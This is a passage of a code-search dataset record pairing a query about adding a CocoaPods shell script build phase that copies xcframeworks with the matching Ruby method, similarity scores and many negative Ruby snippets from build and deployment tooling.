input_paths_by_config, output_paths_by_config)\n end", "def destroy\n @built_with.destroy\n respond_to do |format|\n format.html { redirect_to built_withs_url, notice: 'Built with was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def run_podfile_post_install_hooks\n UI.message '- Running post install hooks' do\n executed = run_podfile_post_install_hook\n UI.message '- Podfile' if executed\n end\n end", "def delete_dependencies\n raise 'Not implemented'\n end", "def warn_for_installed_script_phases\n pods_to_install = sandbox_state.added | sandbox_state.changed\n pod_targets.group_by(&:pod_name).each do |name, pod_targets|\n if pods_to_install.include?(name) && !sandbox.local?(name)\n script_phase_count = pod_targets.inject(0) { |sum, target| sum + target.script_phases.count }\n unless script_phase_count.zero?\n UI.warn \"#{name} has added #{script_phase_count} #{'script phase'.pluralize(script_phase_count)}. \" \\\n 'Please inspect before executing a build. See `https://guides.cocoapods.org/syntax/podspec.html#script_phases` for more information.'\n end\n end\n end\n end", "def destroy\n log_debug \"[ #{@node}/#{@environment} ] - Destroy Podman Container #{@container} ...\"\n @cmd_runner.run_cmd \"#{podman_cmd} container rm #{@container}\"\n end", "def stage3\n set_temp_options(:nopaludis => true) do\n Athenry::build.target(\"install_pkgmgr\", \"update_everything\", \"update_configs\", \"rebuild\")\n end\n end", "def delete!\n execute_as_user(\"rm -rf #{app_dir}\")\n end", "def cleanup(prefix)\n print_header \"Cleaning up ...\"\n Constants::SOFTWARE.each do |sw|\n cmd \"rm #{prefix}/#{sw}.tar.gz; rm -rf #{prefix}/#{sw}\" if File.exist? \"#{prefix}/#{sw}.tar.gz\"\n end\n end", "def delete_draft(filename)\n sh \"git rm #{filename}\" if `git ls-files #{filename}` != ''\n File.delete(filename) if File.exist?(filename)\n\n nil\nend", "def delete(app, pipeline_name)\n @http.pipelines[URI.escape(\"#{app}/#{pipeline_name}\")].delete\n rescue StandardError => e\n puts \"Error deleting pipeline: #{e}\"\n Process.exit(1)\n end", "def remove(plugin); end", "def delete_workspace\n begin\n workspace.delete\n rescue e\n puts \"Delete workspace failed!\"\n end\nend", "def remove_repo!\n chocolatey_package('chefdk') { action :remove }\n end", "def destroy\n @app.destroy\n\n head :no_content\n end", "def cleanup_release\n if ssh.directory_exists?(release_path)\n ssh.run(\"rm -rf #{release_path}\")\n end\n end", "def delete_github_repo_file\n # commit\n commit_to_github(@repo, post_params)\n end" ]
[ "0.7098056", "0.67912596", "0.6777354", "0.65161484", "0.63132244", "0.62601656", "0.6252111", "0.6181388", "0.6180695", "0.59834546", "0.5946267", "0.58439374", "0.5722547", "0.56842804", "0.5630349", "0.55702645", "0.55023277", "0.54310054", "0.54300886", "0.5404655", "0.5373717", "0.5373575", "0.5327262", "0.53221905", "0.5314634", "0.53143674", "0.52899975", "0.5283243", "0.5280067", "0.52724236", "0.52630514", "0.5259087", "0.5251179", "0.5241944", "0.5224053", "0.521847", "0.5210782", "0.5205294", "0.5185305", "0.51612544", "0.5138374", "0.5118981", "0.511852", "0.51180154", "0.51165736", "0.51157707", "0.51155615", "0.510206", "0.50993526", "0.50811106", "0.5080658", "0.5074002", "0.50689214", "0.5066428", "0.5048691", "0.50405633", "0.50364727", "0.50207704", "0.5012112", "0.4986918", "0.49827835", "0.49827835", "0.49690494", "0.49579316", "0.49499032", "0.49499032", "0.49480277", "0.49467704", "0.4942647", "0.4942647", "0.4939933", "0.49349093", "0.49292034", "0.49141878", "0.4912998", "0.49057794", "0.49052638", "0.4902369", "0.49018168", "0.4900351", "0.4899604", "0.4899314", "0.48967895", "0.4895457", "0.4892416", "0.48914498", "0.488574", "0.48838213", "0.4881805", "0.48789248", "0.4877005", "0.4873344", "0.48722565", "0.4868895", "0.48665467", "0.48662353", "0.4865155", "0.485141", "0.4837722", "0.4837363" ]
0.6804209
1
Adds a shell script build phase responsible to copy the xcframework slice to the intermediate build directory.
def create_or_update_copy_xcframeworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {}) phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + COPY_XCFRAMEWORKS_PHASE_NAME) phase.shell_script = %("#{script_path}"\n) TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config) reorder_script_phase(native_target, phase, :before_compile) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_copy_xcframeworks_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_xcframeworks_script_path.relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n xcframeworks = target.xcframeworks.values.flatten\n\n if use_input_output_paths? && !xcframeworks.empty?\n input_file_list_path = target.copy_xcframeworks_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = [script_path]\n\n framework_paths = xcframeworks.map { |xcf| \"${PODS_ROOT}/#{xcf.path.relative_path_from(target.sandbox.root)}\" }\n input_paths.concat framework_paths\n\n output_file_list_path = target.copy_xcframeworks_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = xcframeworks.map do |xcf|\n \"#{Target::BuildSettings::XCFRAMEWORKS_BUILD_DIR_VARIABLE}/#{xcf.target_name}/#{xcf.name}.framework\"\n end\n end\n\n if xcframeworks.empty?\n UserProjectIntegrator::TargetIntegrator.remove_copy_xcframeworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_copy_xcframeworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def add_copy_resources_script_phase\n phase_name = \"Copy Pods Resources\"\n native_targets.each do |native_target|\n phase = native_target.shell_script_build_phases.select { |bp| bp.name == phase_name }.first ||\n native_target.new_shell_script_build_phase(phase_name)\n path = target.copy_resources_script_relative_path\n phase.shell_script = %{\"#{path}\"\\n}\n phase.show_env_vars_in_log = '0'\n end\n end", "def remove_copy_xcframeworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, COPY_XCFRAMEWORKS_PHASE_NAME)\n end", "def add_copy_dsyms_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_dsyms_script_path.relative_path_from(target.sandbox.root)}\"\n dsym_paths = PodTargetInstaller.dsym_paths(target)\n bcsymbolmap_paths = PodTargetInstaller.bcsymbolmap_paths(target)\n\n if dsym_paths.empty? && bcsymbolmap_paths.empty?\n script_phase = native_target.shell_script_build_phases.find do |bp|\n bp.name && bp.name.end_with?(UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME)\n end\n native_target.build_phases.delete(script_phase) if script_phase.present?\n return\n end\n\n phase_name = UserProjectIntegrator::TargetIntegrator::BUILD_PHASE_PREFIX + UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME\n phase = UserProjectIntegrator::TargetIntegrator.create_or_update_shell_script_build_phase(native_target, phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n input_file_list_path = target.copy_dsyms_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = []\n input_paths.concat([dsym_paths, *bcsymbolmap_paths].flatten.compact)\n\n output_file_list_path = target.copy_dsyms_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths = output_paths_by_config[output_paths_key] = []\n\n dsym_output_paths = dsym_paths.map { |dsym_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(dsym_path)}\" }\n bcsymbolmap_output_paths = bcsymbolmap_paths.map { |bcsymbolmap_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(bcsymbolmap_path)}\" }\n output_paths.concat([dsym_output_paths, *bcsymbolmap_output_paths].flatten.compact)\n end\n\n UserProjectIntegrator::TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def add_copy_resources_script_phase\n unless target.includes_resources?\n native_targets.each do |native_target|\n TargetIntegrator.remove_copy_resources_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.copy_resources_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths\n target.resource_paths_by_config.each do |config, resource_paths|\n input_paths_key = XCFileListConfigKey.new(target.copy_resources_script_input_files_path(config),\n target.copy_resources_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + resource_paths\n\n output_paths_key = XCFileListConfigKey.new(target.copy_resources_script_output_files_path(config),\n target.copy_resources_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.resource_output_paths(resource_paths)\n end\n end\n\n native_targets.each do |native_target|\n # Static library targets cannot include resources. Skip this phase from being added instead.\n next if native_target.symbol_type == :static_library\n TargetIntegrator.create_or_update_copy_resources_script_phase_to_target(native_target, script_path,\n input_paths_by_config,\n output_paths_by_config)\n end\n end", "def add_embed_frameworks_script_phase(native_target, spec)\n script_path = \"${PODS_ROOT}/#{target.embed_frameworks_script_path_for_spec(spec).relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n dependent_targets = if spec.test_specification?\n target.dependent_targets_for_test_spec(spec)\n else\n target.dependent_targets_for_app_spec(spec)\n end\n host_target_spec_names = target.app_host_dependent_targets_for_spec(spec).flat_map do |pt|\n pt.specs.map(&:name)\n end.uniq\n framework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.framework_paths.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n xcframework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.xcframeworks.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n\n if use_input_output_paths? && !framework_paths.empty? || !xcframework_paths.empty?\n input_file_list_path = target.embed_frameworks_script_input_files_path_for_spec(spec)\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + UserProjectIntegrator::TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframework_paths)\n\n output_file_list_path = target.embed_frameworks_script_output_files_path_for_spec(spec)\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = UserProjectIntegrator::TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframework_paths)\n end\n\n if framework_paths.empty? && xcframework_paths.empty?\n UserProjectIntegrator::TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + EMBED_FRAMEWORK_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def create_embed_frameworks_phase(project, t)\n \n t.build_phases.delete_if { |phase| \n phase.to_s == 'Embed Frameworks'\n }\n\n embed_frameworks_build_phase = project.new(\n Xcodeproj::Project::Object::PBXCopyFilesBuildPhase\n )\n\n embed_frameworks_build_phase.name = 'Embed Frameworks'\n embed_frameworks_build_phase.symbol_dst_subfolder_spec = :frameworks\n t.build_phases << embed_frameworks_build_phase\n return embed_frameworks_build_phase\nend", "def create_or_update_copy_resources_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase_name = COPY_PODS_RESOURCES_PHASE_NAME\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def create_or_update_shell_script_build_phase(native_target, script_phase_name, show_env_vars_in_log = '0')\n build_phases = native_target.build_phases.grep(Xcodeproj::Project::Object::PBXShellScriptBuildPhase)\n build_phases.find { |phase| phase.name && phase.name.end_with?(script_phase_name) }.tap { |p| p.name = script_phase_name if p } ||\n native_target.project.new(Xcodeproj::Project::Object::PBXShellScriptBuildPhase).tap do |phase|\n UI.message(\"Adding Build Phase '#{script_phase_name}' to project.\") do\n phase.name = script_phase_name\n unless show_env_vars_in_log.nil?\n phase.show_env_vars_in_log = show_env_vars_in_log\n end\n native_target.build_phases << phase\n end\n end\n end", "def add_embed_frameworks_script_phase\n unless target.includes_frameworks? || (target.xcframeworks_by_config.values.flatten.any? { |xcf| xcf.build_type.dynamic_framework? })\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.embed_frameworks_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n configs = Set.new(target.framework_paths_by_config.keys + target.xcframeworks_by_config.keys).sort\n configs.each do |config|\n framework_paths = target.framework_paths_by_config[config] || []\n xcframeworks = target.xcframeworks_by_config[config] || []\n\n input_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_input_files_path(config), target.embed_frameworks_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframeworks)\n\n output_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_output_files_path(config), target.embed_frameworks_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframeworks)\n end\n end\n\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def wrap_xcodebuild\n require 'fileutils'\n @wrapped_xcodebuild_path ||= File.join(Gym::ROOT, \"lib/assets/wrap_xcodebuild/xcbuild-safe.sh\")\n end", "def add_input_path_to_script_phase(script_phase, name, platform)\n input_path = \"$(SRCROOT)/#{make_carthage_build_path(name, platform)}\"\n script_phase.input_paths << input_path\nend", "def build_using_xcode\n validations\n\n framework_args = @framework_paths\n .map { |path| \"-framework #{path}\" }\n .join(\" \")\n\n FileUtils.mkdir_p(@parent_directory)\n output_path = File.join(@parent_directory, \"#{@framework_name}.xcframework\")\n output_args = \"-output #{output_path}\"\n\n logfile = Tempfile.new(['xcframework', '.log'])\n\n cmd = \"xcodebuild -create-xcframework #{framework_args} #{output_args}\"\n\n system(\"#{cmd} >#{logfile.path} 2>&1\") ||\n raise(BuildUsingXcodeFailure.new(File.read(logfile).strip))\n ensure\n if logfile\n logfile.close\n logfile.delete\n end\n end", "def copy_to_bundle( file ) # it's like it has a -p\n to_dir = NSBundle.mainBundle.resourcePath\n\n puts \"copy #{file} to #{to_dir}\" \n FileUtils.cp file to_dir\n end", "def remove_copy_resources_script_phase_from_target(native_target)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(COPY_PODS_RESOURCES_PHASE_NAME) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def new_shell_script_build_phase(name = nil)\n phase = project.new(PBXShellScriptBuildPhase)\n phase.name = name\n build_phases << phase\n phase\n end", "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n device, \n simulator,\n bitcode_enabled)\n\n deployment_target = target.platform.deployment_target.to_s\n \n target_label = target.label\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = [] \n if bitcode_enabled\n other_options += ['OTHER_CFLAGS=\"-fembed-bitcode\"']\n end\n xcodebuild(sandbox, target_label, device, deployment_target, other_options)\n xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'])\n\n root_name = target.pod_name\n module_name = target.product_module_name\n \n executable_path = \"#{build_dir}/#{root_name}\"\n device_lib = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{root_name}/#{module_name}.framework/#{module_name}\"\n device_framework_lib = File.dirname(device_lib)\n simulator_lib = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{root_name}/#{module_name}.framework/#{module_name}\"\n\n return unless File.file?(device_lib) && File.file?(simulator_lib)\n\n lipo_log = `lipo -create -output #{executable_path} #{device_lib} #{simulator_lib}`\n puts lipo_log unless File.exist?(executable_path)\n\n FileUtils.mv executable_path, device_lib, :force => true\n output_path.mkpath unless output_path.exist?\n FileUtils.mv device_framework_lib, output_path, :force => true\n FileUtils.rm simulator_lib if File.file?(simulator_lib)\n FileUtils.rm device_lib if File.file?(device_lib)\nend", "def install\n # ENV.deparallelize\n system \"swift\", \"build\", \"--disable-sandbox\", \"-c\", \"release\"\n system \"mv\", \".build/release/CardVisionCLI\", \".build/release/cardvision\"\n bin.install \".build/release/cardvision\"\n end", "def new_copy_files_build_phase(name = nil)\n phase = project.new(PBXCopyFilesBuildPhase)\n phase.name = name\n build_phases << phase\n phase\n end", "def copy_script\n\n end", "def prebuild_frameworks! \n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n \n if local_manifest != nil\n\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed \n unchanged = changes.unchanged\n deleted = changes.deleted \n \n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n \n # additions\n missing = unchanged.select do |pod_name|\n not exsited_framework_pod_names.include?(pod_name)\n end\n\n\n root_names_to_update = (added + changed + missing)\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, self.pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{self.pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map {|t| t.recursive_dependent_targets }.flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n targets = self.pod_targets\n end\n \n # frameworks which mark binary true, should be filtered before prebuild\n prebuild_framework_pod_names = []\n podfile.target_definition_list.each do |target_definition|\n next if target_definition.prebuild_framework_pod_names.empty?\n prebuild_framework_pod_names += target_definition.prebuild_framework_pod_names\n end\n \n \n\n \n # filter local pods\n targets = targets.reject {|pod_target| sandbox.local?(pod_target.pod_name) } if not Podfile::DSL.allow_local_pod\n\n # filter dependency\n # targets = targets.select {|pod_target| prebuild_framework_pod_names.include?(pod_target.pod_name) }\n \n # build!\n Pod::UI.puts \"🚀 Prebuild files (total #{targets.count})\"\n Pod::Prebuild.remove_build_dir(sandbox_path)\n \n targets = targets.reject { |pod_target| Pod::Podfile::DSL.binary_white_list.include?(pod_target.pod_name) }\n \n # 是否值缓存 .a 文件\n only_store_lib_file = Podfile::DSL.only_store_lib_file\n \n # 是否开启md5 命名\n md5_file_name = Podfile::DSL.md5_file_name\n md5_file_name_list = []\n \n \n subspec_name_enable = true\n \n # building check ...\n targets.each do |target|\n \n target_name = target.name\n # root_name = \"#{target_name}/\"\n spec = target.root_spec\n\n# Pod::UI.puts \"🚀 000 #{target.specs.to_json} \"\n\n specs_name = get_subspec_name(target)\n# Pod::UI.puts \"🚀 666 #{specs_name} \"\n\n \n # 如果过长 采用md5 + 文件记录\n if md5_file_name\n item = get_subspec_name_md5(target_name, specs_name, spec.version)\n specs_name = item[\"specs_name\"]\n# Pod::UI.puts \"🚀 333 #{specs_name} \"\n md5_file_name_list.push(item)\n end\n \n# specs_name = spec.name\n# Pod::UI.puts \"🚀 666 #{target.to_json} \"\n \n UI.section \"🍭 Prebuild Ready to build #{target_name} [#{target.label}]\".blue do\n if !target.should_build?\n Pod::UI.puts \"🏇 Skipping #{target.label}\"\n next\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target_name)\n output_path.mkpath unless output_path.exist?\n \n need_pull = Podfile::DSL.binary_cache\n need_push = false\n need_build = false\n\n generate_path = sandbox.generate_framework_path.to_s\n rsync_server_url = Podfile::DSL.rsync_server_url\n \n loop do\n if not need_pull\n need_build = true\n break\n end\n \n if sandbox.local?target_name and not Podfile::DSL.local_binary_cache\n need_build = true\n break\n end\n \n exist_remote_framework = Pod::PrebuildFetch.fetch_remote_framework_for_target(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n if not exist_remote_framework\n Pod::UI.puts \"💦 Non exist remote cache, #{target_name}\".blue\n \n need_build = true\n need_push = true\n break\n end\n \n Pod::UI.puts \"🎁 Exist remote cache, #{target_name}\".green\n\n break\n end\n\n if need_build\n Pod::Prebuild.build(sandbox_path, target, output_path, bitcode_enabled, Podfile::DSL.custom_build_options, Podfile::DSL.custom_build_options_simulator)\n end\n \n if need_push\n Podfile::DSL.builded_list.push(target_name)\n\n \n if only_store_lib_file\n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n else\n store_pack = {}\n store_pack[\"spec_name\"] = spec.name\n store_pack[\"specs_name\"] = specs_name\n store_pack[\"spec_version\"] = \"#{spec.version}\"\n store_pack[\"generate_path\"] = generate_path\n store_pack[\"server_url\"] = rsync_server_url\n\n Podfile::DSL.builded_store_list.push(store_pack)\n end\n end\n \n \n \n # public private headers\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = []\n target.file_accessors.each do |fa|\n headers += fa.headers || []\n end\n\n config_umbrella_header(output_path, target_name, headers)\n end\n\n \n # ...\n #target.static_framework\n #target.build_as_dynamic_library\n #target.build_as_static_framework\n \n # save the resource paths for later installing\n if !target.resource_paths.empty? #and target.build_as_dynamic?\n framework_path = output_path\n framework_path = framework_path + target.framework_name if target.build_as_framework?\n \n standard_sandbox_path = sandbox.standard_sanbox_path\n\n resources = begin\n if Pod::VERSION.start_with? \"1.5\"\n target.resource_paths\n else\n # resource_paths is Hash{String=>Array<String>} on 1.6 and above\n # (use AFNetworking to generate a demo data)\n # https://github.com/leavez/cocoapods-binary/issues/50\n target.resource_paths.values.flatten\n end\n end\n raise \"Wrong type: #{resources}\" unless resources.kind_of? Array\n\n path_objects = resources.map do |path|\n object = Prebuild::Passer::ResourcePath.new\n #object.real_file_path = framework_path + File.basename(path)\n object.real_file_path = path.gsub('${PODS_ROOT}', sandbox.generate_framework_path.to_s) if path.start_with? '${PODS_ROOT}'\n \n object.target_file_path = path.gsub('${PODS_ROOT}', standard_sandbox_path.to_s) if path.start_with? '${PODS_ROOT}'\n object.target_file_path = path.gsub(\"${PODS_CONFIGURATION_BUILD_DIR}\", standard_sandbox_path.to_s) if path.start_with? \"${PODS_CONFIGURATION_BUILD_DIR}\"\n \n object\n end\n # mark Generated files to Pods/xx\n Prebuild::Passer.resources_to_copy_for_static_framework[target_name] = path_objects\n \n # Logger(1000, \"path_objects\", path_objects)\n # Logger(1001, \"target.name\", target.name)\n\n end\n \n end\n\n end\n \n if md5_file_name\n pods_path = self.sandbox.root\n md5_file_name_path = pods_path + \"md5_file_name.txt\"\n File.write(md5_file_name_path.to_s, md5_file_name_list.to_json)\n end\n \n \n # remove build path\n Pod::Prebuild.remove_build_dir(sandbox_path) if Podfile::DSL.clean_build_dir\n \n def copy_vendered_files(lib_paths, root_path, target_folder)\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n def copy_vendered_headers(lib_paths, root_path)\n lib_paths.each do |lib_path|\n FileUtils.cp_r(lib_path, root_path, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n \n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = self.sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n \n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n if not target.should_build? \n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n next\n end\n \n# Logger(10032, \"dependencies\", target.dependencies)\n \n # continue ....\n next unless File.exist?(root_path)\n \n # copy to Generated\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n \n lib_paths = []\n\n #add frameworks\n lib_paths += file_accessor.vendored_frameworks || []\n \n if Pod::VERSION.start_with? \"1.9\"\n lib_paths += file_accessor.vendored_xcframeworks || [] # cocoapods version 1.9.0+\n end\n \n #add libraries\n lib_paths += file_accessor.vendored_libraries || []\n \n #add headers\n lib_paths += file_accessor.headers || []\n \n lib_paths += file_accessor.docs || []\n\n #add resources\n lib_paths += file_accessor.resources || []\n \n lib_paths += file_accessor.resource_bundles.values if not file_accessor.resource_bundles.nil?\n lib_paths += file_accessor.resource_bundle_files || []\n\n #add license\n lib_paths += [file_accessor.license] if not file_accessor.license.nil?\n lib_paths += [file_accessor.spec_license] if not file_accessor.spec_license.nil?\n\n #add readme\n lib_paths += [file_accessor.readme] if not file_accessor.readme.nil?\n \n\n #developer_files ⇒ Array<Pathname> Paths to include for local pods to assist in development.\n\n copy_vendered_files(lib_paths, root_path, target_folder)\n\n # framework not same\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = file_accessor.headers || []\n copy_vendered_headers(headers, \"#{target_folder}/#{target.framework_name}/Headers\")\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox \n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n \n \n # Remove useless files\n # remove useless pods\n all_needed_names = self.pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name| \n all_needed_names.include? name\n end\n \n \n useless_target_names.each do |name|\n path = sandbox.framework_folder_path_for_target_name(name)\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n if not Podfile::DSL.dont_remove_source_code\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.select do |file|\n filename = File.basename(file)\n not to_remain_files.include?(filename)\n end\n to_delete_files.each do |path|\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n else \n # just remove the tmp files\n path = sandbox.root + 'Manifest.lock.tmp'\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n \n Pod::UI.puts \"🚀 Push Store Info: #{Podfile::DSL.builded_store_list}\"\n\n Podfile::DSL.builded_store_list.each do |store_pack|\n spec_name = store_pack[\"spec_name\"]\n specs_name = store_pack[\"specs_name\"]\n spec_version = store_pack[\"spec_version\"]\n generate_path = store_pack[\"generate_path\"]\n server_url = store_pack[\"server_url\"]\n \n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec_name, specs_name, spec_version, generate_path, server_url)\n end\n \n Podfile::DSL.builded_store_list = []\n end", "def build_intermediate_apk( target ) \n cp @intermediate_apk, target\n end", "def build(scheme, sdk, destination, action, run_timing_tests)\n additional_args = ['true',1].include?(run_timing_tests.downcase) ? '' : 'GCC_PREPROCESSOR_DEFINITIONS=OHHTTPSTUBS_SKIP_TIMING_TESTS'\n puts <<-ANNOUNCE\n =============================\n | Xcode : #{`xcodebuild -version`.chomp.gsub(\"\\n\",'; ')}\n | Action : #{action}\n | SDK : #{sdk}\n | Scheme : \"#{scheme}\"\n | Destination: #{destination}\n | args : \"#{additional_args}\"\n =============================\n\n ANNOUNCE\n\n cmd = %W(\n xcodebuild\n -workspace OHHTTPStubs/OHHTTPStubs.xcworkspace\n -scheme \"#{scheme}\"\n -sdk #{sdk}\n -configuration Debug\n ONLY_ACTIVE_ARCH=NO\n #{additional_args}\n -destination '#{destination}'\n clean #{action}\n )\n\n sh \"set -o pipefail && #{cmd.join(' ')} | xcpretty -c\"\nend", "def add_copy_header_build_phase(name, path)\n phase = copy_files_build_phases.new({\n \"buildActionMask\" => \"2147483647\",\n \"dstPath\" => 